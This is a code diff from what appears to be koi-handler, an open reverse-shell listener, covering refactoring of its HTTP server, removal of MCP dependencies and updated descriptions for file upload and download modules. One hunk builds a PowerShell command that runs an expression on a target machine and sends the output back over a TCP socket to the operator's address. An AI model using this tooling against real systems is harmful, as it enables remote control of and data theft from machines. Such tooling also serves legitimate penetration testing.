992
+
993
+ def do_DELETE(self):
994
+ self.send_error(405)
995
+
996
+ class _ThreadedHTTP(socketserver.ThreadingMixIn, HTTPServer):
997
+ daemon_threads = True
998
+
772
999
  try:
773
- import uvicorn
774
-
775
- config = uvicorn.Config(
776
- self._build_app(),
777
- host=self.host,
778
- port=self.port,
779
- log_level="error",
780
- access_log=False,
781
- )
782
- server = uvicorn.Server(config)
783
- server.install_signal_handlers = lambda: None
784
- asyncio.run(server.serve())
1000
+ httpd = _ThreadedHTTP((self.host, self.port), _Handler)
1001
+ httpd.serve_forever()
785
1002
  except Exception as exc:
786
1003
  from koi.utils.ui import notify
787
1004
 
@@ -298,7 +298,7 @@ class KoiModule(ABC):
298
298
  raw, buf = buf.split(b"\n", 1)
299
299
  text = raw.decode(enc, errors="replace").strip("\r\n ")
300
300
  text = _PS_PROMPT.sub("", text).strip()
301
- if not text or "Write-Host" in text:
301
+ if not text:
302
302
  continue
303
303
  if marker in text:
304
304
  if text == marker:
@@ -324,7 +324,7 @@ class KoiModule(ABC):
324
324
  local_ip = self._get_local_ip()
325
325
  with TCPReceiveServer(timeout=timeout, expected_ip=self.session.addr[0]) as srv:
326
326
  ps_cmd = (
327
- f"$_r=({ps_expr})|Out-String;"
327
+ f"$_r=(& {{ {ps_expr} }})|Out-String;"
328
328
  f"$_c=New-Object Net.Sockets.TcpClient('{local_ip}',{srv.port});"
329
329
  f"$_s=$_c.GetStream();"
330
330
  f"$_b=[Text.Encoding]::UTF8.GetBytes($_r.Trim());"
@@ -21,7 +21,7 @@ def _remote_basename(path: str) -> str:
21
21
 
22
22
  class DownloadModule(KoiModule):
23
23
  name = "download"
24
- description = "Download a file or directory from the target."
24
+ description = "Download a file or directory from the target, chunked over a side channel and size-verified."
25
25
  usage = "download <id> <remote_path> [-o <local_path>]"
26
26
  category = "File transfer"
27
27
  platform = ["linux", "windows_ps"]
@@ -13,7 +13,7 @@ _DIR_TIMEOUT = max(TIMEOUTS.get("download", 300) * 2, 600)
13
13
 
14
14
  class UploadModule(KoiModule):
15
15
  name = "upload"
16
- description = "Upload a file or directory to the target."
16
+ description = "Upload a file or directory to the target, chunked over a side channel and size-verified."
17
17
  usage = "upload <id> <local_path> [-o <remote_path>]"
18
18
  category = "File transfer"
19
19
  platform = ["linux", "windows_ps"]
@@ -11,7 +11,7 @@ _DEFAULT_CHUNK = 49152
11
11
 
12
12
  class Upload64Module(KoiModule):
13
13
  name = "upload64"
14
- description = "Upload a file via base64 chunks (for restricted shells)."
14
+ description = "Upload a file via base64 chunks, for restricted shells with no side-channel egress."
15
15
  usage = "upload64 <id> <local_path> [-o <remote_path>] [-c <chunk_size>]"
16
16
  category = "File transfer"
17
17
  platform = ["linux", "windows_ps", "windows_cmd"]
@@ -23,9 +23,6 @@ def _psk(args) -> str:
23
23
 
24
24
 
25
25
  def build_parser() -> argparse.ArgumentParser:
26
- # -v must work before AND after the subcommand, hence the shared parent.
27
- # SUPPRESS is essential: without it the subparser re-injects its
28
- # False default and overrides a -v placed before the subcommand.
29
26
  common = argparse.ArgumentParser(add_help=False)
30
27
  common.add_argument(
31
28
  "-v", "--verbose", action="store_true",
@@ -67,7 +64,7 @@ def build_parser() -> argparse.ArgumentParser:
67
64
 
68
65
  def main(argv: list[str] | None = None) -> int:
69
66
  args = build_parser().parse_args(argv)
70
- _setup_logging(getattr(args, "verbose", False)) # SUPPRESS: absent when not passed
67
+ _setup_logging(getattr(args, "verbose", False))
71
68
  psk = _psk(args)
72
69
 
73
70
  if args.role == "proxy":
@@ -19,10 +19,15 @@ RST = "\033[0m"
19
19
  DIM = "\033[2m"
20
20
  BOLD = "\033[1m"
21
21
 
22
- try:
23
- __version__ = importlib.metadata.version("koi-handler")
24
- except importlib.metadata.PackageNotFoundError:
25
- __version__ = "dev"
22
+ _PKG_NAME: str = "dev"
23
+ __version__: str = "dev"
24
+ for _candidate in ("koi-handler", "koi"):
25
+ try:
26
+ __version__ = importlib.metadata.version(_candidate)
27
+ _PKG_NAME = _candidate
28
+ break
29
+ except importlib.metadata.PackageNotFoundError:
30
+ continue
26
31
 
27
32
  _SPINNER_FRAME_DELAY = 0.08
28
33
 
@@ -46,6 +51,8 @@ MOTD = [
46
51
  "Use koireview to see your shells history",
47
52
  "You can use \"koifuscator\" to directly use the obfuscator",
48
53
  "I'm building this tool alone, do not hesitate to contribute or report issues on GitHub !",
54
+ "Also try Penelope!",
55
+ "No rust rewrite is planned •`_´•",
49
56
  ]
50
57
 
51
58
  def color_signal(signal):
@@ -1,11 +1,7 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: koi-handler
3
- Version: 0.12.4
3
+ Version: 0.12.6
4
4
  Summary: Reverse shell listener
5
5
  Requires-Python: >=3.10
6
6
  License-File: LICENSE
7
- Requires-Dist: mcp>=2.0
8
- Requires-Dist: uvicorn>=0.30
9
- Requires-Dist: starlette>=0.40
10
- Provides-Extra: mcp
11
7
  Dynamic: license-file
@@ -65,5 +65,4 @@ src/koi_handler.egg-info/PKG-INFO
65
65
  src/koi_handler.egg-info/SOURCES.txt
66
66
  src/koi_handler.egg-info/dependency_links.txt
67
67
  src/koi_handler.egg-info/entry_points.txt
68
- src/koi_handler.egg-info/requires.txt
69
68
  src/koi_handler.egg-info/top_level.txt
@@ -1,5 +0,0 @@
1
- mcp>=2.0
2
- uvicorn>=0.30
3
- starlette>=0.40
4
-
5
- [mcp]
File without changes
File without changes